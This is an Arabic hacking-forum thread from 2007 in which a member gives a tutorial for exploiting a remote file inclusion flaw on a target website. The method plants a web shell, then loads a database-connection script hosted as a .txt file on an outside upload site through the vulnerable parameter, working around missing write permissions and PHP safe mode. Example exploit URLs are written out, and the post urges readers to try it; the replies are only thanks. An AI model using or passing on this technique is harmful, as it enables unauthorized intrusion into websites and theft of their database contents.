أهلا و سهلا بك أخي الكريم في منتديات لمعه ,, للتسجيل اضغط هنا !!

ضع بريدك بالأسفل ليصلك جديد الموقع ثم اضغط اشترك بعد ذلك ستصلك رسالة اعد ارسالها بالضغط علىreplay ثم send



للإعلان في منتديات لمعه إضغط هنا

عالم حواء - بيت حواء - اسرار البنات صور - غرائب - كاريكاتير مسجات - رسائل جوال - وسائط - sms برامج كمبيوتر - برامج انترنت - برامج حماية توبيكات ماسنجر - برامج - سكربتات - صور - رموز للماسنجر

منتديات عالم حواء

مسابقات - العاب - الغاز


.: الوصول السريع لـ أقسام منتديات لمعه :.
الشريعة و الحياة المنتدى العام اخر الأخبار شعر - همس القوافي خواطر - عذب الكلام قصص
عالم حواء - بيت حواء أزياء - فساتين - عبايات مكياج - ميك اب مطبخ حواء - أكلات اخبار الرياضة - صور لاعبين سيارات - صور سيارات
صور نكت مقاطع فيديو اخبار الفن - اخبار الفنانين صور فنانين - صور ممثلين برامج جوال - العاب - ثيمات
بلوتوث - مقاطع جوال نغمات - نغمات جوال مسجات - مسجات جوال برامج كمبيوتر العاب الكترونية هكر

(( سبحان الله و بحمده , لا حول ولا قوة الا بالله , لا اله الا الله وحده لا شريك له ))

دستور لمعه أفضل المشاركين الاحصائيات الشاملة مركز التحميل
العودة   منتديات لمعه > المنتديات التقنية و التكنولوجية > اختراق - هكر - هاكرز
التسجيل استعادة كلمة المرور تنشيط العضوية طلب رقم التنشيط البحث مشاركات اليوم اجعل كافة المشاركات مقروءة

اختراق - هكر - هاكرز , طرق اختراق المواقع , اساليت اختراق اختراق الشات , اختراق الدوك نت , اختراق الديجي شات , الاجهزه , الشات , الاميل , اختراق اميل , اختراق الهوت ميل , اختراق بريد , اختراق اجهزة , اختراق الشات , طرق اختراق الاميل , اسهل طريقة لاختراق الاميل , اختراق اميل الهوت ميل , اختراق اميل الياهو , اختراق البالتوك , فيروسات , اقوى الفيروسات , اقوى فيروس , اختراق مواقع , اختراق سيرفرات , حماية مواقع , حماية سيرفرات , اختراق موقع , حماية موقع , اختراق سيرفر , حماية سيرفر , روت , الحصول على الروت , سيكيورتي , تدمير مواقع , سرقة مواقع

ارفع سكربت بدون تصريح 777 وحتى لو كان السيف مود اون

إنشاء موضوع جديد  رد
 
أدوات الموضوع
قديم 14-07-2007, 08:42 AM رقم المشاركة : 1
معلومات العضو
lm3a
عضو نشيط جدا

الصورة الرمزية lm3a

إحصائيات العضو







حالة الاتصال

lm3a غير متواجد حالياً


افتراضي ارفع سكربت بدون تصريح 777 وحتى لو كان السيف مود اون

السلام عليكم ورحمة الله وبركاته
الحمد لله خلصت دراسة ورجعت مع :

اخواني انا لقيت حل لمشكله وهي

عدم وجود ملف تصريح 777 في الموقع المصاب باثغره وايضاً لتخطي السيف مود

لنفرض انك زرعت الشل على موقع باستخدم ثغرة الفايل انكلود وماحصلت ملف

يحمل ترخيص 777 وانت تبغ ترفع سكربت الاتصال بقاعدة البيانات طبعاً

البعض يقول ليش اتعب روحي مادام الصلاحيات نوبدي ادور موقع غيره !!

طيب لو كان هذا الموقع هو الهدف الي تبيه ؟؟

الحل بسيط

لنفرض ان الموقع المصاب بالثغره هو مثلاً

والاستغلال =[ j******.php?my_ms[root مثلاً

ورابط الشل المرفوع على مركز تحميل بامتداد txt هو


طبيعي بيكون الاستغلال بهذا الشكل


[root]=http://www.6rp.net/upload/files/SHLLname.txt?

الان دخلت على الشل وتبغ ملف او مجلد يحمل تصريح 777 وما حصلت

هل تسرح الموقع وتخليه يفلت

لاااا طبعاً هذي جريمه يعاقبك عليها القانون

الحل انك مثل مارفعت الشل في مركز تحميل بامتداد txt واستدعيته باستخدام الثغره

ارفع سكربت الاتصال بقاعدة البيانات بنفس الطريقه واخل عليه باستخدام الثغره

للتوضيح

ولنفرض ان مركز التحميل رفعت عليه السكربت واعطاك هذا الرابط للدخول للملف الي رفعته



الدخول لقاعدة البيانات للموقع يكون بهذا الرابط

[root]=http://www.6rp.net/upload/files/SQLname.txt?

كل الي سويته اني بدل ماارفع سكربت الشل باستخدام الثغره رفعت سكربت الاتصال بالقاعده
واذا بغيت تخش على الشل مره ثانيه بدل رابط السكربت برابط الشل

::ملاحضات::
1- هذا الكلام ينطبق على الموقع المصاب باثغره فقط
2- تقدر ترفع اي سكربت في بالك على الموقع بهذي الطريقه
3- بمجرد معرفة معلومات قاعدة البيانات ان تتصل بها حتى لوكان السيف مود فعال

وارجوا التطبيق واي استفسار انا في الخدمه

اتنهى اوتمنه ان الشرح كان واضح








آخر مواضيعي
دشنت Viva خدماتها تجاريا باستقبال المكالمات الدولية والارضية في الكويت مجانا
دولة الكويت
لبنان
صور جورج وسوف
صور جاكي شان
صور يارا بالحجاب
صور يارا

رد مع اقتباس
اعلانات مشتركة
قديم 14-07-2007, 09:21 PM رقم المشاركة : 2
معلومات العضو
أحنـ قلبـ
!! المدير العام !!

الصورة الرمزية أحنـ قلبـ

إحصائيات العضو

Male









مزاجي

حالة الاتصال
أحنـ قلبـ غير متواجد حالياً


افتراضي

مشكور يا قلبو

ويعطيك الف عافية

لا تحرمنا من ابداعك ,,









رد مع اقتباس
قديم 14-07-2007, 09:49 PM رقم المشاركة : 3
معلومات العضو
إحصائيات العضو

Female






حالة الاتصال

#$#$بنت الراشد#$#$ غير متواجد حالياً


افتراضي

مشكور ويعطيك
الف عافيه اخوي لمعه









رد مع اقتباس
قديم 12-08-2007, 01:54 AM رقم المشاركة : 4
معلومات العضو
D@rK KnighT
عضو ذهبي

الصورة الرمزية D@rK KnighT

إحصائيات العضو






مزاجي

حالة الاتصال
D@rK KnighT غير متواجد حالياً


افتراضي

الله يعطيك العافيه









رد مع اقتباس
قديم 31-08-2007, 06:05 PM رقم المشاركة : 5
معلومات العضو
Cyber Man
₪ شخصية هامة ₪

الصورة الرمزية Cyber Man

إحصائيات العضو

Male








مزاجي

حالة الاتصال
Cyber Man غير متواجد حالياً


افتراضي

مشكووووووووووووووووووووور









رد مع اقتباس
إنشاء موضوع جديد  رد

ارفع سكربت بدون تصريح 777 وحتى لو كان السيف مود اون


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع

 
تعليمات المشاركة
لا تستطيع كتابة مواضيع
لا تستطيع كتابة ردود
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

كود [IMG] متاحة
كود HTML معطلة
Trackbacks are معطلة
Pingbacks are معطلة
Refbacks are معطلة

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
[سكربت] تعلم لغة Php فى 33 درس أحنـ قلبـ تطوير مواقع - سكربتات - seo 2 12-08-2007 08:14 PM
قصيده تجنن تجنن تجنن تجنن تجنن جت على ايميلي أبي رايكم كاريزما خواطر - نثر - عذب الكلام 15 03-08-2007 05:07 AM
ارفع بنطلووونك لو سمحت . فراشة جدة النقاش الجاد - الرأي و الرأي الاخر - الاتجاه المعاكس 41 16-06-2007 03:55 PM
تصريح خطير لوزير الخارجية القطري منعت الصحف القطرية من نشره وكذلك قناة كاريزما المنتدى العام 10 23-05-2007 10:29 PM
هـل تريد الاجر وحتى أنت نآئم ؟؟ أدخل ورآح تعـرف طريقه مجربه وبسيطه وحلوه ولك الاجر كاريزما الشريعة و الحياة 7 08-04-2007 10:57 PM


منتديات لمعه منتديات لمعة منتديات إسلامية منتديات عامة منتديات أدبية منتديات عالم حواء
منتديات شبابية منتديات ترفيهية منتديات فنية منتديات الجوال منتديات تقنية منتديات تطوير


الساعة الآن: 06:19 PM



.: منتديات لمعه منتديات عربية خليجية سعودية كويتية تحترم كافة الطوائف و الأديان :.
.: يمنع نشر أي مواد سياسية أو فاسدة أخلاقيا أو انتهاك لأي حقوق فكرية أو أدبية , حيث إن كل ما ينشر في منتديات لمعه هو ملك لأصحابه :.
.: المقالات أو المشاركات أو الآراء المنشورة في شبكة منتديات لمعه بأسماء أصحابها أو بأسماء مستعارة لا تمثل بالضرورة الرأي الرسمي لشبكة موقع لمعه بل تمثل وجهة نظر كاتبها :.